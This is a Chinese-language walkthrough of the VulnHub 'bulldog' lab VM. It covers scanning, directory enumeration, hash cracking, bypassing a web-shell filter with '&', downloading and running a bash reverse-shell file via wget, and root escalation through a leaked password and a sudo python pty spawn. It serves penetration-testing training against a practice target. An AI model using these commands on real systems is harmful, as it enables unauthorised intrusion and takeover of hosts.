渗透测试之bulldog

一、实验环境

  1. 靶机下载:
    http://download.vulnhub.com/bulldog/bulldog.ova或http://download.vulnhub.com./bulldog/bulldog.ova.torrent
  2. 靶机:ip暂未知
  3. 攻击机kali:192.168.0.150

二、实验步骤

(1)信息收集

1、主机发现

靶机与kali机在同一网段,nmap扫描或netdiscover扫描,他俩区别就是nmap扫描出本机IP

  • nmap -sP 192.168.0.0/24
  • netdiscover -i eth0 -r 192.168.0.0/24

    netdiscover -i 指定网卡 -r 指定网段

找到目标主机ip:192.168.0.106


2、端口扫描
  • masscan --rate=10000 --ports 0-65535 192.168.0.106

    masscan --rate=每秒多少个数据包 --ports 端口范围 IP地址

  • 或者使用nmap -sS 192.168.0.106

为防止漏扫,多扫描几次,可发现主机23,80,8080端口开放


  • 扫描端口详细信息

    nmap -sV -T4 -p 23,80,8080 192.168.0.106

    -T4指定扫描过程中使用的时序(分为0-5等级);-sV扫描版本的信息和开启的服务;也可以使用-A参数,详细扫描开放端口的具体服务;

发现端口对应服务:23-ssh服务,80-http服务,8080-http服务


3、操作系统扫描

nmap -O 192.168.0.106

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9

(2)Web渗透

1.访问80端口

点击页面,未发现任何有用信息

2.网站指纹信息扫描

whatweb 192.168.0.106


web指纹扫描用于识别目标所运行的web软件、后端服务器、编程语言等特征、实现对目标web应用的准确标识

应用名称(版本)、服务器软件(版本)、编程语言(版本)、应用框架(版本)四大特征的识别。

3.网站目录扫描

扫描Web目录,可以发现潜在的渗透目标

发现/admin文件及诸多目录

4.查看网站目录

4.1访问http://192.168.0.106/admin

尝试万能钥匙,未果

网页源码也没有tips

4.2看看别的目录,访问http://192.168.0.106/dev

翻译过来的页面有提示:

完全从新服务器中删除PHP。此外,不使用PHPMyAdmin或任何其他流行的CMS系统;

新网站将完全用Django语言编写。目前,系统上启用了SSH。当我们转换到使用Web-

Shell(一个专有的shell接口)时,这个选项将被关闭;

此外,请注意我们将开始使用MongoDB,但是我们还没有完全安装它;

4.3访问http://192.168.0.106/dev/shell,提示:请与服务器进行身份验证以使用 Web-Shell

5.查看网页源代码

在dev目录下,我们看到有一堆哈希,尝试解密

解出nick用户的密码bulldog,也就解出这一个😑

6.尝试登陆,成功
7.访问刚刚的shell目录

7.1还真就web-shell,运行结果通过网页显示

7.2&绕过限制

7.3尝试直接反弹shell,直接错误

7.4发现wget能下载

直接python搭个网站,传shell文件,文件名就叫1

bash -i >& /dev/tcp/192.168.0.150/1234 0<&1 2>&1

python -m SimpleHTTPServer 80

然后ls & bash 1,监听获得反弹shell

8.提权操作

8.1查看系统中用户;bulldogadmin用户,django用户

8.2进入用户bulldogadmin的home目录下,查看home目录下有什么文件,发现一个隐藏目录.hiddenadmindirectory;该目录下存在俩个文件,一个note提示,一个可执行文件;查看两个文件内容

8.3strings 一下,提取显示非文本文件的文本字符

中间有password,被h隔开,猜测可能是密码

SUPERultimatePASSWORDyouCANTget

8.4那就尝试su,su root,都不行

8.5可以用python调用本地的shell,打开一个新的终端,命令:

sudo python -c 'import pty;pty.spawn("/bin/bash")'

然后输入密码SUPERultimatePASSWORDyouCANTget

获得root权限

三、实验总结

(1)主机发现、端口扫描、服务获取

(2)爆破出web目录,在查看源代码,发现用户名及密码

(3)登陆成功,获取webshell,绕过白名单限制;命令执行漏洞

(4)搭建web服务(python -m SimpleHTTPServer 80);wget下载shell,bash执行,获取反弹shell

(5)/etc/passwd找寻系统id1000以后的用户,查看其文件,找到隐藏文件,发现隐藏密码

(6)python调用本地的shell,打开一个新的终端(sudo python -c 'import pty;pty.spawn("/bin/bash")')